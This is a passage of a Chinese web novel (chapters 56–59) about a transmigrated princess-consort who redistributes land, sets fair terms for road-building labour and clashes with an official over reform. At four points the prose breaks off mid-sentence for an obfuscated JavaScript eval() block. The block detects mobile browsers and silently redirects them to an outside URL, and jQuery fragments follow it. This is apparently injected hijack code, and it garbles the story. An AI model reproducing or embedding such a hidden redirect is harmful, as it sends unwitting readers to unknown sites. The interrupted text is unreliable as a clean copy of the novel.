后来几个恶仆被蔡书霖治罪,但那个真正发号施令,草菅人命的家伙,他只能警告几句作罢。 那时的他想着要稳定舟安的各方势力,直到遇到慕衷情,蔡书霖才意识到他之前所认为的势力,并没有那么强大,那么坚不可摧,而毁了他们,也未必就会掀起什么狂风巨浪。 蔡书霖想,他太习惯官场作风了,这个习惯,或许是时候改改了。 老者说完后情绪便稳定许多,退下去时,他的孙女还往仇人身上吐了口口水,而对此,没有人提出异议。 之后是一位精干的中年妇人来到堂前,她的脸上和手上都是生活留下的痕迹,或许是从前活得太累,她神情坚毅,不像老者那般伤怀。 她的故事同样普通,普通到这样的血泪不知已经流淌过多少平民百姓的家。 她这个年纪,原本有一个幸福美满的家庭,家中虽然并不算富有,但好歹能够温饱,她的女儿已经出嫁,儿子也刚刚成家,丈夫务农,她在家养了些鸡鸭,并操持家务,可谁能想到,一年前她的丈夫如往常出门去地里,却再也没有回来。 直到几天后,有人从河里捞上了他的尸体,后来有人偷偷告诉她,她的丈夫不是意外溺水,而是因为锄头上的泥不小心弄脏了一位大人物的衣服,而被丢进了河里。 但是没有人敢出来作证。 她不怪那些和她一样的百姓,毕竟他们也有自己的家人,冒这样的险大概率得不到好结果。 本以为她只能将这等冤屈永远地咽下去,却没想到今日还有机会,将这件事说出来。 说完,她又朝着堂上磕了几个响头,平静地退下去了。 慕衷情快速地眨了几下眼睛,她说不上自己的感受如何,从前在网上看到一点点的苦,她都觉得万分难受,可如今,她却只剩唏嘘和感伤。 因为这是两个完全不同的世界,她又一次无比清晰地认识到这一点。 不过她没有时间再去思考那些更深层次的东西,因为下一个人已经走了上来。 …… 这场公审一直持续到月上中天都未曾结束,外头的百姓们都不肯离开,他们能拥有一次不必担惊受怕的说话机会,实在太难得了,或许这就是他们一生中唯一的一次机会。 那些人为的苦难,并没有制造出太多的新意,却听得慕衷情抓着椅子的手直发抖。 就在蔡书霖宣布绞刑的那一刻,公堂外的欢呼声响彻夜空。 蔡书霖望向似乎一直都很平静的慕衷情,烛火照亮了她的侧脸,是那么年轻。 他突然很想对慕衷情说一句,其实他已经很久,没有听过百姓这样热烈的欢呼了。 56. 五十六、 南方的雨季总是格外地长,好在每一场雨,都会将那些带血的东西都清洗干净。 舟安城中的富户整日战战兢兢,生怕下一刀就会落到自己的身上。 他们恨不能细数自己的人生过往,试图找出自己可以不死的理由。 但慕衷情只是将那些欺压百姓的地主豪绅杀了个赶紧,没有动城中的大商户。 他们打拼多年,自然明白慕衷情的意思,当菜市口持续多日的行刑结束后,他们纷纷带上精心准备的礼物来到王府求见。 可惜,慕衷情一个都没见。 于是,他们又踏破了舟安府衙的门槛,求见蔡书霖,而蔡书霖也真的见了他们,只是没有收下礼物。 谁也不知道那几天,蔡书霖和这些商户们究竟说了什么,但所有人都知道,舟安城已经变了。 盛夏之际,慕衷情公布了她再三斟酌过后的分地方案,之前那些大地主们几乎都被杀尽,小地主们便非常积极主动地交出了地契,免除一切不合理债务,以换取一个活下来的机会。 分地方案以家中可用劳动力为核心进行分配,毕竟这里可用的工具实在太少,人力是至关重要的,慕衷情不想出现完全按人口分配,反而导致某些家庭劳动力富余,而某些家庭根本没有能力耕耘的场面。 那一天,舟安城张贴告示的那条街巷被围得水泄不通。 “我呀,去城门那处瞧了一眼,压根就走不过去,这人挤人的,比庙会还热闹,王妃,您如今在舟安百姓心中,那可是神仙下凡的人物。”司岳高兴地对慕衷情说。 这段时日,她一直住在王府中,与慕衷情几乎形影不离,自然知道她费了多少心力。 此时的她们好不容易得空,正坐在院子里享受难得的晴天。 没有什么比解决一件大事之后,能够躺平晒太阳来得更惬意的事情了。 司岳从丫鬟手中端过一盘水果,放到小茶几上,慕衷情躺在躺椅上,心情就跟今天的天气一样灿烂。 “一起吃,坐。”慕衷情对司岳说道。 司岳现在在她面前,比最开始相识时要放松许多,但还在恪守两人之间因地位带来的礼数。 听到慕衷情的话,司岳才在一旁的凳子上坐下。 “这世上可没有神仙,反正我不信。”慕衷情拿起一块西瓜开啃。 司岳托着下巴,满眼崇拜得看着慕衷情:“可是王妃,即便是王爷在时,他也从未有过如此大的动作,今日我才知,原来这些盘根错节的势力,竟是如此简单就能剿灭,怎么从前就觉得不能轻易动他们呢?” 慕衷情拿起打湿的帕子放在拿西瓜的手下,不让过多的汁液留下去,她可不喜欢吃得一手黏腻。 “因为你们习惯了他们的存在,从来没有想过,他们并不需要存在,所谓的权衡仅仅是在武力不够的时候需要妥协以维护自己现有的利益,可是整个清州军都是我们的,要清理他们,十个人不够就百个,百个不够就千个,军中大多都是平民出身,想来对这些横行霸道之人也是痛恨的,只不过他们从前以为这些人的存在是合理的,从没有人告诉他们,这些人可以不存在,即使不存在,也不会影响到他们什么。” 这话听着有些绕的,但司岳思索了一会儿便明白过来:“因为地到了农户手中,那这些人自然就不需要存在了,对不对?” “孺子可教也,当然,这其中还涉及到更复杂的阶级问题,这对你们来说,可能有些超纲,往后有机会再细说吧。”慕衷情提到这个,语气低落下来。 司岳没有察觉她的情绪变化,仍旧说道:“好,我现在觉得呀,跟着王妃干的都是前所未有的大事。” 慕衷情轻笑一声:“夸张了,你跟着王爷上战场时,难道不是大事吗?” 司岳却果断摇摇头:“我从未跟着王爷去过北境,而在南境时,那些贼寇仗着熟悉水性,又是海上不好追击,可很少有这么痛快的仗打,清州和海州可是深受这些海盗之苦。” 慕衷情一听,不对,海上?贼寇?这剧本怎么有点熟悉啊。 “你说的贼寇,不会是一群长得不高,说话听不懂,头发剃掉一部分反正发型奇奇怪怪的,喜欢使用长刀的家伙吧?” 司岳惊讶道:“王妃从未来过南境,怎么知道这些贼寇模样的?” 慕衷情把啃干净的瓜皮往盘子里一拍:“靠,又是这群倭寇,怎么哪里都有他们?” 她一下子站起来,来回踱步道:“抗倭也是个大问题,不行,我得抓紧时间了。” “什么抓紧时间?”司岳也起身问道,对慕衷情这突然紧张的样子感到不解。 慕衷情则说道:“三天之内,分地之事必须开始,很快秋收时间就要到了,那些被调来的士兵让他们先驻扎在城外,协助分地,维持秩序,等到分地的事情结束后,他们要一起帮农户们完成抢收和抢种,唉,这个时间点也真是尴尬。” 虽说如今正值炎炎夏日,但分地之事十分繁琐,期间也不知道又会遇到多少麻烦,一眨眼秋日就会到来,听说南方夏日还经常发生暴雨和洪涝,慕衷情担心到时候真的出点事,时间又要被无限延长。 而在冬日之前,倭寇很有可能袭扰沿海地区,要是事情都堆到一起,慕衷情可真的不知道该怎么办好了。 慕衷情一句话,所有人好不容易喘口气,又开始昼夜不分地忙起来。 慕衷情作为主事人,自然也不能在别人加班熬夜的时候自己休息,而且分地这样离经叛道的事情,所有人都没有经历过,总有各种问题要找慕衷情确认,她便是想休息也不能休息。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13382393|134766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时间来到第三日晚上,紧赶慢赶之下,总算是将前期大致的准备工作完成,慕衷情还特地让管家支取了不少银子奖赏那些几乎三天没合眼的伙伴们。 她可不想一不小心,自己成了个周扒皮。 翌日一早,蔡书霖就会带着他们一起做好的分地方案在舟安所有百姓面前宣读,分地区分时间地去完成。 慕衷情失眠了一晚上。 她能够其他人面前作出一副运筹帷幄的样子,不过是因为比他们多熟知几段历史罢了,可面临的情况完全不同,她其实很担心会出什么大变故。 也担心那些在暗处蠢蠢欲动的人,会做出什么事来。 她反复推敲自己的安排和司岳的部署,直到天亮。 能拿到属于自己的徒弟,不是租不是雇,这对于每个农户来说,都是无法想象的事情。 因此天还未亮,城门口就挤满了百姓,慕衷情早早地在附近的酒楼包了一间临街的厢房,从窗户往外望去,那乌泱泱的人群看得慕衷情害怕极了。 倒不是害怕大伙儿的热情会被辜负,就是看多了踩踏事故,总觉得这么多人不安全。 她对坐在正前方的司岳说道:“不是安排了一批人维持秩序吗?怎么还没来?” 司岳尴尬地说:“我与他们说的是辰时准时到,可谁能到,许多百姓卯时甚至寅时便都在这里等着了。” 慕衷情低头一笑,她也没有责怪的意思,这就跟她以前和同学去看升旗一样,她们以为自己三点出发已经够早了,结果发现一群大晚上没睡就等在那儿的。 她理解那时同胞们的热爱,也理解此时这些百姓的期待。 “没事,他们只是太期待了,生怕自己一觉醒来,发现这只是一场梦。”慕衷情轻声说道,“司岳,你说舟安分地的消息传出去,清州各地会如何?” 司岳听到这个问题,正色道:“王妃,清州怕是会乱。” 慕衷情看着她,鼓励她说下去。 “但是就像王妃说的那样,我们有清州军。”司岳望向街上的人群,“这几日舟安的盛况,也让我明白了王妃这么做的原因,现在,我们不只有清州军了,还有清州百姓。” 慕衷情端起茶杯敬司岳:“清州的变局,就从舟安开始吧。” 司岳笑着回敬,眸中透出些慕衷情从未见过的张狂与热切,似乎是褪去了什么束缚,终于被激起些符合她年纪的年轻气盛来:“那这天下的变局,不如就从清州开始吧。” 在慕衷情身边待久了,司岳也已经不再像从前那样敬畏权力,现在的她,非常支持慕衷情想把那位拉下马的野心。 不过是有能者居之罢了,她望着慕衷情,心里冒出了一个想法。 若是这有能者是王妃,似乎也不错? 57. 五十七、 成片的土地被精准地划分,一块块木牌插在土地上,昭示着这一片是谁的地。 第一天的分地从辰时开始,至子时才结束,原本定的时间因为那些百姓渴望的眼神一推再推,一迟再迟,谁也不知道,第二天会发生什么,他们生怕自己会是那个分不到地的倒霉蛋。 人群散去之后,慕衷情带着司岳来到田间,司岳不解地问:“王妃,今日之事已然结束,您这是来?” 慕衷情笑容满面地说:“来看看成果。” 说着,她在田垄上蹲下,司岳也学着她的样子蹲在旁边,试图从她视角里看到“成果”。 过了一会儿,慕衷情问道:“你听到什么了吗?” 司岳认真地听着,风声中似乎夹杂着些许幽幽的哭声与笑声。 “这是有人在哭?” 慕衷情拨弄着眼前已经青绿的水稻,纠正道:“也有人在笑。” 司岳疑惑:“这便是王妃所说的成果吗?” 慕衷情起身,伸手将司岳也拉了起来,继续往里走,很快,她们便看到了今日才插在地里的,写着名字的木牌。 还有坐在木牌旁的男人。 “诶?那是谁?怎么这么晚了还待在地里?”司岳看看那人又看看慕衷情,有些茫然地问,“王妃,您不会就是来见这个人的吧?” 慕衷情敲了下她脑袋:“你在想些什么乱七八糟的啊,你再周围看看。” 司岳闻言在四周跑来跑去,四处张望许久:“真是神奇了王妃,那儿好像也有个人靠着木牌坐着,他们这是在干什么呢?” 慕衷情拉着她的手腕:“过去问问不就知道了?” 司岳看向慕衷情的手,有些不好意思,但并没有抽回手,她知道,王妃并不在意身份地位,若是自己在意得太多,反倒惹她不快。 难怪王爷这么信任王妃,司岳高兴地想,因为王妃真的特别招人喜欢。 “老乡,这大晚上的,你不回家,在这儿干什么呢?”慕衷情上前,十分自来熟地问道。 那中年男人皮肤黝黑,脸上都是风吹日晒的痕迹,他打量了一下慕衷情和司岳,两人都穿着男装,但并未做太多刻意的伪装,还是能认出来是女子。 “你们两个女娃娃怎么这么晚了还不回家,我家今儿个可是分到了地,我得守着先,可不能明早起来又被别人抢了去。”中年男人十分兴奋地答道,只是开心中又带了些忐忑不安,毕竟这对他来说,实在是天上掉馅饼的事情,即便真的分了地,也依然觉得难以置信。 慕衷情蹲下顺手从田垄旁拔了根野草,在手中绕来绕去地玩:“这不是官家给分的地吗?怎么还怕被人抢去啊?难不成,还有哪家老爷敢违背王妃的命令?这不是不要命了嘛。” 男人没察觉出什么,顺口答道:“那可不好说,谁知道往后还有什么变数,以往那些人欺负我们,也不见官府来帮一把。” 司岳闻言,急忙出声辩解:“可是那些家伙不都已经在菜市口被斩首示众了吗?” 男人摸着木牌,悠悠道:“谁知道会不会有新的大人出来,或是又要这儿加一点税,那儿加一点儿税。” “既是这般,你又为何要守着这块地?”慕衷情问道。 男人沉默不语,至少现在,这块地就是他对往后生活的最大念想。 “既然有了地,那便要好好耕耘,若是往后官府要修灌溉渠,你可愿意?”慕衷情试探道。 男人忽然警惕地看向慕衷情:“你是官府的人?” 慕衷情没想到他的戒备这么强,一时也不知该回答是或不是,虽说她进行了分地一事,百姓对这位王妃很是感激,可对于普通百姓来说,要信任官府的人,恐怕还需要一段时间。 她无法强求,但已经了解了答案。 “希望今年的夏秋,不要有太大的风和雨吧。”慕衷情牛头不对马嘴地这么说了一句,反而说进了那男人的心里。 “希望今年是个丰收年。”他再次望向木牌上的字,虽然他并不识字,但他今日问过,那上面写着的是他的名字,于是他一遍又一遍在心里描摹,强行记住了字的模样。 慕衷情起身,往来时的路回去,走出一段距离后,司岳问道:“王妃,您找到那个成果了吗?” “你不是也听到了吗?他们还是不信任官府。”慕衷情叹道,“若是受到不公,他们仍然会选择报官,可惜,那只是因为这是他们唯一的出路,不是因为他们相信官府会还他们一个公平。” 司岳笑了一声:“王妃,别说他们了,就是我,也是不信的。” 司岳原本的家并不算贫穷,但他的父母和所有人一样,从来不肯多听听她的心里话,也从来不会去在意她的选择。 所以司岳逃了,她不愿意嫁给一个素未谋面的人,去过既定已知的深门里无声的一生。 那时的她不过十五岁,孤身一人,不知往何处去,遇到过抢她钱财食物的,也碰见过拍花子,想把她抓走卖了。 为此,她报官求助,但因为她只是一介弱女子,官府也不愿为她花太多心力抓捕盗贼,至于拍花子,那自然已经打点好了当地势力,若非她拼死逃出,怕是又要进了另一个魔窟。 她有反叛之心,却还未曾强大到能够保护好自己,她有自我之意,却不够彻底,可哪怕是最无望的时刻,她都在想,凭什么像她这般普通的女子,就不能选择想要的生活? “就是因为不可信的人太多,所以当我们处在这样的位置上时,才不能忘了当时求助无门的自己。”慕衷情没有去详细询问她为什么抗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13399801|134766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拒官府,若是司岳想倾诉,她可以当一个好听众,但很明显,目前的司岳并不打算提太多过往。 司岳听到慕衷情的这句话,蓦然顿住脚步,看向慕衷情的目光变得十分复杂,还隐隐夹杂着探究。 她说:“王妃,您有时说的话,真不像是从京都高门而来的千金。” 慕衷情对此倒是坦然:“或许我真的不是呢?” 司岳一惊,但随即想到若非高门之女,又怎能有这般才学,便当慕衷情只是开玩笑,没有再提。 舟安人口众多,他们足足花了一个月的时间,才将分地的事宜完成。 借着这个势头,慕衷情让之前那些工匠们将做好的新农具分发给部分农户进行试用,七日后统一回收体验感受和建议,以便进行改良后推广。 因为是刚刚分完地,又是免费试用,农户们倒是很踊跃地参与,这件事没有遇到阻力,毕竟大家都知道,若真有更好的工具发明出来,对他们都有好处。 那么接下来的问题,就是修水渠和修路了,慕衷情思来想去,目前的人心凝聚力还没有达到她的要求,因此,她要先修路,路通了,做其他事都会方便很多。 但问题也来了,修路需要大量的劳动力,如今已是夏末,等秋日到来,便要进入收获的时节。 秋收是万万不能破坏的。 慕衷情看着他们送上来的图纸,一个头两个大,她已经明显感觉到自己做这些事很吃力了,首先,她连图纸都看不懂。 可这事已经开了头,慕衷情捏着笔杆,不停地告诉自己不能放弃。 很快,慕衷情便想到了解决办法,她不懂,那就去找一个懂的人去主持大局。 前提是,她要规划好流程,尤其是在钱财的使用上,无论是工具、材料还是人工,都不是一笔小费用。 等经过层层盘剥,谁知道还能剩下多少给徭役们。 慕衷情把笔杆子都咬出了牙印,制定了每个徭役的工钱,以月为一个周期结算,每月初一进行发放,而后定下工作时间,每日开工时间不得早于辰时,下工时间不得晚于酉时,遇危险天气,如暴雨、大风、雷电等情况,需停工保证所有人安全。 而后她还加上,每月休息不得少于六日,餐食包午餐和晚餐,以每人一碗米饭、一荤二素加一汤为标准,不得克扣。 洋洋洒洒地写了好几张纸后,慕衷情终于想不出另外需要补充的注意事项,于是她将这些内容交给蔡书霖,询问他的看法。 蔡书霖看完后思索良久,只说了一句话:“升米恩斗米仇,自古唯有恩威并施,方能得安稳,王妃若只想得人心,不必做到这一步。” 慕衷情没有生气,十分平静地反问:“难道在蔡大人的眼里,爱民,为善,都只是为了得人心吗?” 58. 五十八、 说句实话,慕衷情对这样的质疑并不感到陌生,甚至很熟悉。 只是这段时间,她亲眼看着蔡书霖尽心尽力地忙碌,还以为自己已经用自己的行动,感染到了他。 慕衷情感到了一阵挫败,自己难道看起来这么不真诚吗? 她想的以身作则,结果别人看到的是装模作样。 就在慕衷情深刻反省自己的时候,蔡书霖答道:“世人一切所作所为,都有其目的,君子论迹不论心,老臣并无怪责王妃之意,只是担心这般仁慈,日后反而会成为伤害王妃之利器。” “我确实希望得到回报,比如他们的认可和支持,但这不是他们的问题,是我的问题,是我还没有修炼到家,我做这些事应该是我想去达成我的目标,不是为了让所有人都要对我感恩戴德。”慕衷情说得认真,却看到蔡书霖欲言又止的表情。 如果蔡书霖知道现代社会的一些流行词汇,大概会用上“圣母”这个词去形容慕衷情,甚至在慕衷情做出回到家乡的决定时,就有很多人嘲讽过她。 好在她从不这样看待自己,她见过那么多铮铮傲骨,圣人圣心,只会因自己成为不了这样的人感到遗憾,但无论如何,不会去诋毁、轻视这样的人。 当然,慕衷情也不指望蔡书霖能够理解自己的所作所为和想法。 她等了一会儿,蔡书霖没有再说什么,只是保证会按照慕衷情的要求去执行,但他在离开提醒道:“王妃,老臣的命令传下去之后,底下层层的人会如何看待,如何去做,那便不是我们能掌控的了。” 慕衷情了然地笑:“我知道,所以也希望蔡大人留几个信得过的人,我要在正式开工后,组成一个督察组,昭告舟安所有人,有人监督这一次施工的方方面面若有不公,随时举报。” 蔡书霖皱眉道:“若是如此,怕是无人敢接手。” “官场上没人,就去民间找,一问一个推辞的,告诉他们往后也不必再来当值了。”慕衷情语气平静,说的话却没有留有丝毫余地。 蔡书霖闻言,似乎想劝说什么:“王妃……” “蔡大人,乱世当用重典。”慕衷情打断了他。 蔡书霖一惊:“王妃慎言,如今可不是乱世。” 慕衷情低头看着自己的手,这双手比起从前自己的手,还是太不像个干活的了:“很快就会是了,你说,我在舟安做的这些事,要传到京城,传到其他各州,需要多少时间?幸好此时王爷不在,不知者无罪。” 蔡书霖一揖到底,而后离开了房间。 对于他来说,秦澈始终比慕衷情更重要,慕衷情的最后一句话也相当于给他一个保证,出了乱子,与秦澈无关。 只要慕衷情咬死秦澈失踪,并不知情,姜喧就没有办法动秦澈。 所以这段时日,慕衷情也是一边担心秦澈的安危,一边又希望他慢些回来。 毕竟秦澈回来之后,究竟会不会完全支持她的决策和行动,也是个未知数。 秦澈的失踪虽不是她所为,但情势摆在她面前,说没有任何私心也是不可能的。 修路的事情蔡书霖用了整整七天才来汇报进度,想来遇到了不少的阻力,但所幸是安排下去了。 征召徭役的告示一出,立刻又在舟安掀起新一轮的舆论风波,大部分人都在怀疑这些待遇的真实性,由于慕衷情再三强调了要自愿,底下的人也不敢直接去百姓家里要人,结果登记处一连两天都无人报名。 这天,蔡书霖匆匆来到王府向慕衷情禀报情况,试图劝说慕衷情改变一些条件,看起来比慕衷情还要着急。 慕衷情气定神闲地给他泡了杯茶降火:“再等两天,如果还是没有人,我还有别的办法。” 说着,慕衷情还把果盘推向蔡书霖。 蔡书霖苦笑:“王妃,此事前期调度颇费人力,牵一发而动全身,所有事情都在准备中,那些材料工具可没法再丢进熔炉里啊。” 慕衷情想了想也是,拖一天就是浪费舟安的库房钱财,于是她保证道:“再等一天,我答应你,一天后若没有人主动来报名,我会启动我的备用方案。” 蔡书霖愁得直叹气,看样子慕衷情也没打算和他说具体要怎么做,蔡书霖便准备告退。 谁知慕衷情忽然问道:“蔡大人为何不问问我打算怎么做?” 蔡书霖道:“王妃自有打算,老臣不敢多嘴。” “蔡大人这倒是提醒我了,如今我们还是太生分了。”慕衷情若有所思道,“心中有疑虑就该直说,若是不能告诉你我也会直言,没问就不要乱猜,不然跟谜语人有什么区别?” “什、什么谜语人?”蔡书霖看向一旁的司岳,发现她神色自然,丝毫没有对慕衷情的话作出反应。 难道是他见识太少,或是他年纪太大,才会听不懂王妃的话?蔡书霖陷入了自我怀疑。 其实司岳只是太习惯了,她成日跟在慕衷情身边,总是见着她说些听不懂的话,做些看不懂的事,如今早已见怪不怪。 “这不重要,总之往后有任何疑虑都可以直接问我,我们现在是战友。”慕衷情低着头说道。 蔡书霖又看向司岳,司岳朝他点点头,蔡书霖这才应答下来,只是他依然没有追问慕衷情打算怎么做就告辞离开。 慕衷情在他走后,忽然弯腰一阵干呕,司岳连忙叫人拿痰盂来,但慕衷情什么也没吐出来。 这段时日,慕衷情总是会突然干呕,有时半夜做了梦,惊醒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13419325|134766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后也总要吐上一会儿,一开始司岳还以为她是怀孕了,可大夫一来,却说是慕衷情思虑过重,心中郁结,是心病。 司岳非常担心,奈何慕衷情什么也不肯说,就这么熬着。 又是一日过去,蔡书霖急得嘴上都长了个燎泡,匆匆来到王府寻求解决办法,要他说,直接将此事按照原来的方式去办就行了,但想想也知道,慕衷情不会答应。 慕衷情坐在梳妆镜前,蔡书霖不敢进门,便在门外行礼道:“王妃,一日之期已到。” 慕衷情没有回头,反而问了一个莫名其妙的问题:“蔡大人,你说我这头发剪到多短比较合适呢?” 蔡书霖吓出了一身冷汗:“王,王妃您好好的,怎么突然要剪头发?身体发肤受之父母,可不能,可不能随意剪去啊。” “我又不是要剃光,急什么,只是头发太长,总觉得行事不便,不好打理。”慕衷情梳着头发解释道,蔡书霖抬头张望一番,发现梳妆台上就放着把剪子。 他立刻劝道:“王妃,徭役之事虽不顺利,但如今亡羊补牢为时未晚,您可千万不要想不开啊,若是王爷归来,定不愿看到您如此自伤啊!” “行了,我已经叫司岳去安排托儿了,你跟着一起帮一把吧,这场戏演好了不愁没人来报名。”慕衷情也没有真的要询问蔡书霖的意见,便将人支开去办事。 她望着镜中长发如瀑的女子,拿起剪子,侧过身将头发一把在背后握住,果断剪掉了一半的长度。 而后她用发带轻松扎起一个马尾,再用发簪盘好固定住,猛甩了几下头发确认纹丝不动后满意地笑了。 还是这样方便,慕衷情又坐了一会儿,慢慢敛了笑容,这几日她都没睡好,不笑时看着有些憔悴。 她思考了自己这段时日以来所做的事情,之所以那么顺利,没遇到太大的抵抗之力,说到底是因为有清州军在支持她,但这一套只在舟安有用,因为有她在,若是放权给其他人去其他州府执行,怕是人心难测,要出乱子。 也就是说,她如今的成功都是不可复制的,因为在思想上没有人与她一致。 她强迫自己去习惯杀戮,但最终只得到这样一个结果,慕衷情不甘心。 她起身将之前写过的三大纪律八项注意拿了出来,只有清州军真正成为她理想中的战士,她的目标才能真正达到。 宣传和思想工作还是要先做起来,慕衷情觉得自己不能再等下去了,她不能太依赖秦澈的声望,剪去长发,就是她的决心。 慕衷情绝对不能成为这个时代的慕衷情。 就在她拿着纸张准备出门时,司岳匆匆忙忙地跑来道:“王妃,折柳巷的姑娘们前去报名修路了,咱安排的人还要出去吗?” 59. 五十九、 “什么?折柳巷的姑娘们?”慕衷情扶着门框,大脑急速飞转着,很快她便答道,“暂且不动,等我过去看看情况。” 慕衷情乍一听到这个消息,懵了一会儿,但就在她赶过去的路上,神思越发清明,心情也就越发激荡。 她从前做的事,至少在此时此刻,是有善果的,没有什么比这更能安抚她的了。 我是对的,慕衷情告诉自己。 报名处围了许多人,慕衷情到时,还需要侍卫将人群拨开,才得以走到里面,锦书带着几个姑娘们正在报名桌前据理力争。 “你说不是瞧不起我们,那你倒是说出个子丑寅卯来,凭什么姑娘就不能报名!”锦书一拍桌子,气势唬人,早已不是慕衷情最初见到她时,那惊慌失措、楚楚可怜的模样。 慕衷情上前应和道:“是呀,我也记得,这报名的条件中,只有年龄限制,可没有男女之分啊,那为何不让她们报名呢?” “王妃?参见王妃!”负责登记的两人立刻起身行礼。 锦书几人的神情没有他们紧张,但也行了礼,周围围观的百姓连忙跪下。 慕衷情让所有人都站起来,走上前替锦书整理了一下鬓发:“别激动,慢慢说。” 锦书的眼睛像在发着光,她望着慕衷情期待地说:“王妃可是许久都没有来折柳巷看望我们了。” “得空了便去,听说你们已经开了一家首饰绣品店,都是手工做的,很棒。”慕衷情夸赞了一句,然后将话题转了回来,“来说说吧,既然有人来报名,为何不登记?为舟安修路可是大事,修成了路,各方商户往来更加方便,运输粮草货物也能更加快速,于舟安经济有大大的益处,你怎能不让人报名?” “可是王妃,这些人,都是女子。”那人看向锦书道,“自古以来,还未曾听说这徭役要女子的。” “确实,不过那是从前,你瞧着我这段时日做的事情,哪一样是自古以来就有的?”慕衷情突然笑意全收,冷声问道。 “王妃恕罪,王妃恕罪,属下这就把这几位姑娘的名字登记上!”那两人立刻跪下求饶。 慕衷情无奈地抿了一下唇,继续端住:“不必跪,只要核实过年龄符合,没有明显的疾病或残疾,不分男女,即可报名。” “是!” “王妃英明!”锦书喊道,“是王妃给了我们重新做人的机会,教我们用自己的双手去生活,如今又以这般丰厚的待遇征召徭役,没有强迫全凭自愿,相信王妃必不会苛待我们,王妃所谋之事,也一定是有利于舟安,有利于百姓之事!” 慕衷情努力绷住自己的表情,也不知道锦书这是从哪儿学的,还挺会搞舆论的。 “我只是给了你们选择自己生活的机会,若非你们自己有志气,又有本事,也走不到今日,我只是希望,无论男子女子,皆可以用自己的双手,去谋求自己想要的生活。” 说完,慕衷情维持着优雅的姿态,缓缓转身,给司岳使了个眼色后离开。 经过这么一遭,安排的人自然也没有用上,不过司岳还是给了银钱,让他们去做了另外一件事,便是将锦书这番话大肆宣扬出去,让所有人都知道王妃是一个怎样的善人,还放出了王妃会组建督察组,以监察修路之时是否有营私舞弊,克扣虐待的事宜。 几日后,蔡书霖再次亲自前来汇报近期的情况,不过这一次是红光满面,不只是司岳安排的人,折柳巷其他没有报名参与修路的姑娘制作了传单,四处分发,宣传慕衷情的善举。 听到此处,慕衷情低着头会心一笑:“不错,很机灵,听说除了目前的一家饰品店铺外,还有几个姑娘们准备开一家点心铺子。” “回王妃,是的,吴雪这段时间都在折柳巷帮着大家筹备开店事宜,忙得也是不可开交。”蔡书霖笑道。 “这么辛苦,那加……咳,赏些银钱也是应该的。”慕衷情对身旁的司岳说道,“司岳,这件事你去办一下吧。” 司岳应声离开。 司岳走后,蔡书霖又对慕衷情行了一次礼:“王妃言行如一,底下的人却未必如王妃这般仁善不贪,不知王妃打算如何安排这督察组。” “自然是我亲自做组长,只是这些组员的名单,只能蔡大人与我两人知晓,不可给他人行贿打探之机。”慕衷情拿起笔,不知在写什么。 蔡书霖苦笑:“王妃倒是一如既往,信任老臣,难道就不怕老臣欺上瞒下,便是这贪污受贿的头子吗?” 慕衷情抬眼瞧他:“蔡大人自然不会,还有件事需要蔡大人费心,秋收在即,刚分了地,可不能让农户的粮食受损,待到收成之日,我准备让所有的将士待命,当然,蔡大人的手下同样要待命,去帮老乡们收粮食。” “王妃……”蔡书霖长长地叹了一口气,笑意却不减,“老臣明白了。” “还有一件事。”慕衷情面露为难之色,“我虽在律法一道不太擅长,但是我想修订律法,还麻烦蔡大人将清州大大小小的律法典籍,都为我寻来,我要一一查看不合理之处。” 蔡书霖的神情一下子变得比慕衷情更加为难,他试图委婉拒绝:“王妃,律法乃是一州之根本,万不可轻易篡改啊。” 慕衷情拿着毛笔起身,差点想转一转笔,手指一抖,想到可能会把墨甩到自己身上,立刻停住,她走到蔡书霖面前:“蔡大人,如今能阻止我的,怕是只有王爷一人,但那也不是因为我怕了他,或是改变主意,只是因为我的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13430542|134766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 权力来自于他,这件事只有我无法去做,才能停止。” 她的意思很简单,要么杀了她或收了她所有的权力,否则她一定会做到底。 蔡书霖神情纠结,一脸视死如归的模样,半晌道:“敢问王妃,若王爷归来舟安,王妃该当如何?天下积弊远甚清州,又当如何?” 